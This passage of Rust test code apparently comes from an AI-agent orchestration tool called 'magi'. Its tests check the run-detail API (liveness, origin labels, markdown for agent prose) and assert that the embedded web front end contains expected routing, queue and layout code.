11070 "main".to_owned(),
11071 "0123456789abcdef".to_owned(),
11072 "Add a web UI".to_owned(),
11073 Config::default(),
11074 );
11075 state.id = id.to_owned();
11076 state.status = RunStatus::Judging;
11077 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11078 let dir = f.runs().join(id);
11079 std::fs::create_dir_all(&dir).expect("run dir");
11080 std::fs::write(
11081 dir.join("run.json"),
11082 serde_json::to_string_pretty(&state).expect("serialize run"),
11083 )
11084 .expect("write run.json");
11085
11086 let cold = f.get(&format!("/api/runs/{id}")).await.json();
11092 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11093 assert_eq!(cold["live"], "unknown", "{cold}");
11094
11095 write_daemon(f.home.path(), Timestamp::now());
11098 let warm = f.get(&format!("/api/runs/{id}")).await.json();
11099 assert_eq!(warm["live"], "live", "{warm}");
11100 }
11101
11102 #[tokio::test]
11105 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11106 let f = Fixture::start().await;
11107 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11108 let mut state = RunState::new(
11109 PathBuf::from("/repo/magi"),
11110 "main".to_owned(),
11111 "0123456789abcdef".to_owned(),
11112 "Add a web UI".to_owned(),
11113 Config::default(),
11114 );
11115 state.id = id.to_owned();
11116 state.origin = origin;
11117 let mut value = serde_json::to_value(&state).expect("serialize run");
11118 if let Some(schema) = schema {
11119 value["schema"] = serde_json::json!(schema);
11120 value.as_object_mut().unwrap().remove("origin");
11121 }
11122 let dir = f.runs().join(id);
11123 std::fs::create_dir_all(&dir).expect("run dir");
11124 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11125 };
11126 write(
11127 "20260930-092817-ec34",
11128 Some(crate::run::Origin::from_agent_env(
11129 Some(("4a7b".to_owned(), "chat".to_owned())),
11130 None,
11131 )),
11132 None,
11133 );
11134 write("20260930-092817-0ld1", None, Some(12));
11135
11136 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11137 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11138 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11139
11140 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11141 assert_eq!(
11142 old["origin_label"], "origin unknown (started before origins were recorded)",
11143 "{old}"
11144 );
11145 assert!(old["origin"].is_null(), "{old}");
11146
11147 let list = f.get("/api/runs").await.json();
11148 let labels: Vec<_> = list
11149 .as_array()
11150 .unwrap()
11151 .iter()
11152 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
11153 .collect();
11154 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
11155 }
11156
11157 #[tokio::test]
11164 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
11165 let f = Fixture::start().await;
11166 let id = "20260922-090000-cccc";
11167 let mut state = RunState::new(
11168 PathBuf::from("/repo/magi"),
11169 "main".to_owned(),
11170 "0123456789abcdef".to_owned(),
11171 "Review only".to_owned(),
11172 Config::default(),
11173 );
11174 state.id = id.to_owned();
11175 state.status = RunStatus::Reviewing;
11176 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11177 state.driver_pid = Some(std::process::id());
11183 state.driver_started_at = Some(
11184 crate::proc::process_started_at(std::process::id())
11185 .expect("this test process's own start time must be queryable"),
11186 );
11187 let dir = f.runs().join(id);
11188 std::fs::create_dir_all(&dir).expect("run dir");
11189 std::fs::write(
11190 dir.join("run.json"),
11191 serde_json::to_string_pretty(&state).expect("serialize run"),
11192 )
11193 .expect("write run.json");
11194
11195 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11196 assert_eq!(detail["live"], "live", "{detail}");
11197 }
11198
11199 #[tokio::test]
11205 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
11206 let f = Fixture::start().await;
11207 let id = "20260922-090100-dddd";
11208 let mut state = RunState::new(
11209 PathBuf::from("/repo/magi"),
11210 "main".to_owned(),
11211 "0123456789abcdef".to_owned(),
11212 "Review only".to_owned(),
11213 Config::default(),
11214 );
11215 state.id = id.to_owned();
11216 state.status = RunStatus::Reviewing;
11217 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11218 state.driver_pid = Some(std::process::id());
11223 state.driver_started_at = Some("1".to_owned());
11224 let dir = f.runs().join(id);
11225 std::fs::create_dir_all(&dir).expect("run dir");
11226 std::fs::write(
11227 dir.join("run.json"),
11228 serde_json::to_string_pretty(&state).expect("serialize run"),
11229 )
11230 .expect("write run.json");
11231
11232 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11233 assert_eq!(detail["live"], "dead", "{detail}");
11234 }
11235
11236 #[test]
11240 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
11241 let mk = |id: &str, pid: Option<u32>| {
11242 let mut s = RunState::new(
11243 PathBuf::from("/repo/magi"),
11244 "main".to_owned(),
11245 "0123456789abcdef".to_owned(),
11246 "Add a web UI".to_owned(),
11247 Config::default(),
11248 );
11249 s.id = id.to_owned();
11250 s.driver_pid = pid;
11251 s.driver_started_at = Some("1790000000".to_owned());
11252 s
11253 };
11254 let states = vec![
11255 mk("20260902-140502-aaaa", Some(77)),
11256 mk("20260902-140502-bbbb", Some(77)),
11257 mk("20260902-140502-cccc", Some(77)),
11258 mk("20260902-140502-dddd", None),
11259 ];
11260 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
11261 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
11262 let sup: HashMap<String, String> = [(
11263 "20260902-140502-aaaa".to_owned(),
11264 "20260902-140502-cccc".to_owned(),
11265 )]
11266 .into();
11267
11268 let status_calls = std::cell::Cell::new(0);
11269 let identity_calls = std::cell::Cell::new(0);
11270 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
11271 |_| {
11272 status_calls.set(status_calls.get() + 1);
11273 Some(true)
11274 },
11275 |_| {
11276 identity_calls.set(identity_calls.get() + 1);
11277 Some("1790000000".to_owned())
11278 },
11279 ));
11280 let rows = summarize(
11281 states,
11282 &open,
11283 &claimed,
11284 &sup,
11285 |p| probe.borrow_mut().status(p),
11286 |p| probe.borrow_mut().started_at(p),
11287 );
11288
11289 assert_eq!(status_calls.get(), 1, "one pid, one status query");
11290 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
11291 assert_eq!(rows.len(), 4);
11292 assert!(!rows[0].waiting && rows[1].waiting);
11293 assert_eq!(rows[0].live, crate::run::Liveness::Live);
11294 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
11295 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
11296 assert_eq!(rows[1].superseded_by, None);
11297 }
11298
11299 #[test]
11300 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
11301 let mut state = RunState::new(
11302 PathBuf::from("/repo/magi"),
11303 "main".to_owned(),
11304 "0123456789abcdef".to_owned(),
11305 "Review only".to_owned(),
11306 Config::default(),
11307 );
11308 state.id = "20260922-090200-dead".to_owned();
11309 state.status = RunStatus::Reviewing;
11310 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
11311 .expect("serialize list row");
11312 assert_eq!(row["status"], "reviewing");
11313 assert_eq!(row["live"], "dead", "{row}");
11314 assert!(!row["done"].as_bool().unwrap());
11315 }
11316
11317 #[tokio::test]
11318 async fn the_run_list_is_newest_first_and_honours_a_limit() {
11319 let f = Fixture::start().await;
11320 for id in [
11321 "20260902-140501-aaaa",
11322 "20260902-140502-bbbb",
11323 "20260902-140503-cccc",
11324 ] {
11325 write_run(&f.runs(), id, RunStatus::Merged);
11326 }
11327
11328 let all = f.get("/api/runs").await.json();
11329 let capped = f.get("/api/runs?limit=2").await.json();
11330
11331 assert_eq!(all[0]["id"], "20260902-140503-cccc");
11332 assert_eq!(all.as_array().map(Vec::len), Some(3));
11333 assert_eq!(capped.as_array().map(Vec::len), Some(2));
11334 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
11335 }
11336
11337 #[tokio::test]
11338 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
11339 let f = Fixture::start().await;
11340 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
11341
11342 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
11343
11344 assert_eq!(res.status, 200);
11345 assert!(
11346 res.headers
11347 .contains("content-type: text/plain; charset=utf-8"),
11348 "a browser must render it, not download it: {}",
11349 res.headers
11350 );
11351 assert!(
11355 res.body.contains("20260902-140501-a1b2"),
11356 "the report is about the run that was asked for: {}",
11357 res.body
11358 );
11359 }
11360
11361 #[tokio::test]
11362 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
11363 let f = Fixture::start().await;
11364
11365 let html = f.get("/").await;
11366 let css = f.get("/app.css").await;
11367 let js = f.get("/app.js").await;
11368
11369 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
11370 assert!(
11371 html.headers
11372 .contains("content-type: text/html; charset=utf-8")
11373 );
11374 assert!(css.headers.contains("content-type: text/css"));
11375 assert!(js.headers.contains("content-type: text/javascript"));
11376 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
11377 }
11378
11379 #[test]
11380 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
11381 let body = |name: &str| {
11382 let at = APP_JS
11383 .find(name)
11384 .unwrap_or_else(|| panic!("{name} missing"));
11385 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11386 };
11387 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
11388 let note = body("function landRoundNote");
11389 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
11390 assert!(note.contains("Land round ${round}"));
11391 let land = body("function renderLand");
11392 let note_at = land
11393 .find("landRoundNote(pr)")
11394 .expect("renderLand uses the note");
11395 assert!(
11396 note_at
11397 < land
11398 .find("roundRail(pr)")
11399 .expect("renderLand uses the rail")
11400 );
11401 }
11402
11403 #[test]
11404 fn the_runs_page_redesign_keeps_its_guards() {
11405 let body = |name: &str| {
11406 let at = APP_JS
11407 .find(name)
11408 .unwrap_or_else(|| panic!("{name} missing"));
11409 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11410 };
11411 let land = body("function renderLand");
11413 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
11414 assert!(
11415 !land.contains("box.append("),
11416 "renderLand must use append()"
11417 );
11418 assert!(land.contains("append(box, ["));
11419 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11421 assert!(
11422 body("function applyRoute")
11423 .contains("route.name !== state.route.name || route.id !== state.route.id")
11424 );
11425 assert!(!APP_JS.contains("adviseConvergeDiagram"));
11427 assert!(!INDEX_HTML.contains("advise-converge"));
11428 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
11429 assert!(APP_JS.contains("provisional"));
11430 for id in [
11431 "run-tab-overview",
11432 "run-tab-timeline",
11433 "run-tab-report",
11434 "run-report",
11435 "runs-scope",
11436 ] {
11437 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11438 }
11439 assert!(!INDEX_HTML.contains("runs-tree"));
11440 assert!(!INDEX_HTML.contains("run-raw-panel"));
11441 assert!(APP_JS.contains("resume"));
11443 assert!(APP_JS.contains("unreadable"));
11445 }
11446
11447 #[test]
11448 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11449 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11450 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11451 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
11452 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11453 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11454 assert!(APP_JS.contains("unreadable` : null"));
11456 }
11457
11458 #[test]
11459 fn the_run_detail_payload_says_whether_the_run_is_done() {
11460 for (status, done) in [
11462 (RunStatus::Superseded, true),
11463 (RunStatus::Blocked, true),
11464 (RunStatus::Landing, false),
11465 ] {
11466 let mut state = RunState::new(
11467 std::path::PathBuf::from("/repo"),
11468 "main".to_owned(),
11469 "abc".to_owned(),
11470 "x".to_owned(),
11471 crate::config::Config::default(),
11472 );
11473 state.status = status;
11474 let v = serde_json::to_value(RunDetailView::of(
11475 state,
11476 crate::run::Liveness::Unknown,
11477 None,
11478 None,
11479 None,
11480 ))
11481 .unwrap();
11482 assert_eq!(v["done"], done, "{status:?}");
11483 }
11484 }
11485
11486 fn has_strong(nodes: &[md::Node]) -> bool {
11488 serde_json::to_string(nodes).unwrap().contains("strong")
11489 }
11490
11491 #[test]
11492 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
11493 let mut state = RunState::new(
11494 std::path::PathBuf::from("/repo"),
11495 "main".to_owned(),
11496 "abc".to_owned(),
11497 "x".to_owned(),
11498 crate::config::Config::default(),
11499 );
11500 let proposal = |approach: &str| {
11501 serde_json::json!({
11502 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
11503 })
11504 };
11505 state.advice = Some(
11506 serde_json::from_value(serde_json::json!({
11507 "records": [
11508 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
11509 "proposal": proposal("do **this**")},
11510 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
11511 ],
11512 "synthesis": "- one\n- **two**\n\n`code`",
11513 }))
11514 .unwrap(),
11515 );
11516 state.candidates = serde_json::from_value(serde_json::json!([
11517 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
11518 "summary": "did **it**"},
11519 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
11520 ]))
11521 .unwrap();
11522 state.reviews = serde_json::from_value(serde_json::json!([{
11525 "round": 1, "head": "h",
11526 "reviews": [{
11527 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
11528 "findings": [
11529 {"severity": "nit", "title": "t1", "detail": "plain nit"},
11530 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
11531 ],
11532 }],
11533 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
11534 "fix": {"agent": "a", "notes": "fixed **it**",
11535 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
11536 }, {"round": 2, "head": "h2", "reviews": []}]))
11537 .unwrap();
11538
11539 let v = serde_json::to_value(RunDetailView::of(
11540 state,
11541 crate::run::Liveness::Unknown,
11542 None,
11543 None,
11544 None,
11545 ))
11546 .unwrap();
11547
11548 let strong = |p: &str| {
11549 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
11550 assert!(n.to_string().contains("strong"), "{p}: {n}");
11551 };
11552 strong("/advice_md/synthesis");
11553 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
11554 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
11555 strong("/advice_md/approaches/0");
11556 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
11557 strong("/candidate_summaries_md/0");
11558 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
11559 strong("/reviews_md/0/reviewers/0/summary");
11560 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
11561 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
11562 assert!(f[1].to_string().contains("strong"));
11563 strong("/reviews_md/0/reconsideration/0");
11564 strong("/reviews_md/0/fix/notes");
11565 strong("/reviews_md/0/fix/rejected/0");
11566 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
11567 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
11568 assert_eq!(v["candidates"][0]["summary"], "did **it**");
11570 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
11571 }
11572
11573 #[test]
11574 fn a_run_without_advice_has_no_advice_md() {
11575 let state = RunState::new(
11576 std::path::PathBuf::from("/repo"),
11577 "main".to_owned(),
11578 "abc".to_owned(),
11579 "x".to_owned(),
11580 crate::config::Config::default(),
11581 );
11582 let p = run_prose_md(&state);
11583 assert!(p.advice_md.is_none());
11584 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
11585 }
11586
11587 #[test]
11588 fn a_question_view_carries_markdown_for_each_thread_turn() {
11589 let home = TempDir::new().unwrap();
11590 let store = ask::Questions::at(home.path().join("questions"));
11591 let mut q = Question::new(
11592 "run".to_owned(),
11593 "implement".to_owned(),
11594 "impl-A".to_owned(),
11595 "which?".to_owned(),
11596 String::new(),
11597 Vec::new(),
11598 );
11599 q.say("plain words").unwrap();
11600 q.reply("use **this**", Vec::new()).unwrap();
11601 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
11602 let bodies = &v["thread_bodies_md"];
11603 assert_eq!(bodies.as_array().unwrap().len(), 2);
11604 assert!(!bodies[0].to_string().contains("strong"));
11605 assert!(bodies[1].to_string().contains("strong"));
11606 }
11607
11608 #[test]
11609 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
11610 assert!(APP_JS.contains("function landView(run, raw) {"));
11614 assert!(
11615 APP_JS.contains(
11616 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
11617 )
11618 );
11619 assert!(APP_JS.contains("const pr = landView(run, raw);"));
11620 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
11621 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
11622 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
11623 }
11624
11625 #[test]
11626 fn live_runs_are_never_hidden_or_folded_as_superseded() {
11627 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
11628 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
11629 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
11630 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
11631 }
11632
11633 #[test]
11634 fn review_rounds_label_a_distinct_verified_head() {
11635 assert!(APP_JS.contains("round.verified_head"));
11636 assert!(APP_JS.contains("verified HEAD"));
11637 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
11638 }
11639
11640 #[test]
11641 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
11642 assert!(APP_JS.contains("blocked: { glyph:"));
11646 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
11647
11648 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
11652 assert!(
11653 APP_JS.contains(
11654 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
11655 ),
11656 "the note line must name what a blocked task is waiting on, not just that it is blocked"
11657 );
11658 assert!(APP_JS.contains("if (status === \"blocked\") {"));
11662
11663 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
11667 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
11668 assert!(
11669 APP_JS.contains("location.hash = \"#/questions\";"),
11670 "a question node must jump to the Questions screen, not pretend to be a task"
11671 );
11672
11673 assert!(APP_JS.contains("Resolved questions"));
11676 assert!(APP_JS.contains("r.answersList.append("));
11677 assert!(APP_CSS.contains(".task-answers"));
11678 {
11679 let start = APP_JS
11680 .find("function updateTalkTaskRow")
11681 .expect("updateTalkTaskRow");
11682 let body = &APP_JS[start..];
11683 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
11684 assert!(
11685 body.contains(
11686 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
11687 ),
11688 "a chat-filed task row must link to the task page"
11689 );
11690 assert!(
11691 !body.contains("#/runs/") && !body.contains("#/queue/"),
11692 "the row must not branch to a run or the queue card"
11693 );
11694 assert!(APP_CSS.contains(".talk-task-link"));
11695 }
11696 }
11697
11698 #[test]
11699 fn a_task_notification_links_to_the_task_page() {
11700 let start = APP_JS
11702 .find("function noticeLink(")
11703 .expect("noticeLink exists");
11704 let body = &APP_JS[start..];
11705 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
11706 assert!(
11707 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
11708 "a task notice's link must target the task page"
11709 );
11710 assert!(
11711 !body.contains("#/queue/"),
11712 "regression: the task link must not go back to the Backlog route"
11713 );
11714 assert!(
11715 APP_JS.contains(
11716 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
11717 ),
11718 "`#/tasks/<id>` must parse into the task route"
11719 );
11720
11721 assert!(
11723 APP_JS.contains(
11724 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
11725 ),
11726 "`#/queue/<id>` must parse into a route carrying that id"
11727 );
11728
11729 assert!(APP_JS.contains("state.queueFocus = route.id;"));
11733 assert!(APP_JS.contains("function consumeQueueFocus()"));
11734 assert!(APP_JS.contains("jumpToTask(id)"));
11735 }
11736
11737 #[test]
11740 fn chat_rows_put_the_title_alone_on_the_first_line() {
11741 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
11742 assert!(APP_CSS.contains(
11743 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
11744 ));
11745 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
11746 assert!(APP_JS.contains("class: \"badge talk-unread\""));
11747 }
11748
11749 #[test]
11750 fn run_rows_put_the_title_alone_on_the_first_line() {
11751 assert!(
11752 APP_CSS.contains(
11753 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
11754 )
11755 );
11756 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
11757 assert!(APP_JS.contains("class: \"card run-card\""));
11758 assert!(APP_JS.contains("class: \"repo run-id\""));
11759 }
11760
11761 #[test]
11765 fn wide_screens_show_list_and_preview_side_by_side() {
11766 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
11768 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
11769 assert!(APP_CSS.contains("main[data-split]"));
11770 assert!(APP_CSS.contains("body[data-split]"));
11771
11772 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
11774 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
11775 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
11776 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
11777 assert!(INDEX_HTML.contains("id=\"split-empty\""));
11778
11779 assert!(APP_JS.contains("function markSelected() {"));
11781 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
11782 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
11783 assert!(
11785 APP_CSS.contains(
11786 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
11787 )
11788 );
11789
11790 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
11792 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
11793 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
11794 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
11795
11796 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
11800 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
11801 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
11802 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
11803
11804 assert!(APP_JS.contains("sandbox: \"\""));
11806 assert!(!APP_JS.contains("sandbox: \"allow"));
11807 }
11808
11809 #[test]
11810 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
11811 assert!(
11820 APP_JS.contains(
11821 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
11822 ),
11823 "the search-clearing branch must run before state.queueFocus is cleared, or the \
11824 recursive renderQueue() call has nothing left to jump to"
11825 );
11826 assert!(
11827 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
11828 "state.queueFocus must be cleared only once the jump has landed, so a card that \
11829 arrives later still gets it"
11830 );
11831 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
11832 assert!(APP_JS.contains("is not in the current Backlog."));
11833 assert!(APP_JS.contains("li.card[data-task-id=\""));
11834 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
11835 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
11836 assert!(APP_CSS.contains(".card-permalink"));
11837 assert!(APP_CSS.contains(".queue-focus-status"));
11838 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
11839 }
11840
11841 #[test]
11842 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
11843 assert!(
11851 APP_JS.contains(
11852 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
11853 ),
11854 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
11855 );
11856 }
11857
11858 #[test]
11859 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
11860 assert!(
11861 APP_JS.contains("round.verified_head !== round.head"),
11862 "a round that verified an earlier commit must be visibly distinct from one that \
11863 verified the head reviewers are looking at now"
11864 );
11865 assert!(
11866 APP_JS.contains("round.verified_at"),
11867 "when a check ran must be on the wire, not just which commit"
11868 );
11869 assert!(
11870 APP_JS.contains("resource_blocked"),
11871 "a command magi never got to run (shared build cache contention) must not render \
11872 the same as a command that ran and failed"
11873 );
11874 }
11875
11876 #[test]
11877 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
11878 assert!(
11886 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
11887 "every KPI tile built through statusTile() must route its click through \
11888 openRunsFiltered, the single place that sets the Runs filter"
11889 );
11890 for (label, status) in [
11891 ("Merged", "merged"),
11892 ("Ready", "ready"),
11893 ("Blocked", "blocked"),
11894 ("Stalled", "stalled"),
11895 ] {
11896 let call = format!("statusTile(\"{label}\", t.{status}, ");
11897 assert!(
11898 APP_JS.contains(&call),
11899 "expected the {label} KPI tile built via {call}..."
11900 );
11901 assert!(
11902 APP_JS.contains(&format!("status === \"{status}\"")),
11903 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
11904 compare a run against, not one invented only for the stats tile"
11905 );
11906 }
11907 assert!(
11908 APP_JS.contains("function openRunsFiltered(status)"),
11909 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
11910 );
11911 assert!(
11912 APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
11913 "matchesFilter must gate on the exact status a KPI tile named"
11914 );
11915 assert!(
11923 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
11924 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
11925 hashchange event that may never fire"
11926 );
11927 }
11928
11929 #[test]
11930 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
11931 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
11937 assert!(
11938 APP_JS.contains(
11939 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
11940 ),
11941 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
11942 guard for an incompatible tree section"
11943 );
11944 }
11945
11946 #[test]
11947 fn every_stats_queue_tile_names_a_real_queue_section() {
11948 assert!(
11954 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
11955 "every queue tile built through sectionTile() must route its click through \
11956 openQueueSectionFocus"
11957 );
11958 for key in ["upnext", "running", "done", "held", "blocked"] {
11959 assert!(
11960 APP_JS.contains(&format!("{{ key: \"{key}\",")),
11961 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
11962 );
11963 }
11964 for line in [
11968 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
11969 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
11970 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
11971 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
11972 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
11973 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
11974 ] {
11975 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
11976 }
11977 }
11978
11979 #[test]
11980 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
11981 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
11988 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
11989 assert!(APP_JS.contains("function revealQueueSection(details)"));
11990 assert!(
11991 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
11992 "renderQueue() must consume both focus channels on every pass"
11993 );
11994 assert!(
11995 APP_JS.contains(
11996 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
11997 ),
11998 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
11999 the recursive renderQueue() call has nothing left to reveal"
12000 );
12001 assert!(
12002 APP_JS.contains(
12003 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
12004 ),
12005 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
12006 );
12007 assert!(
12015 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
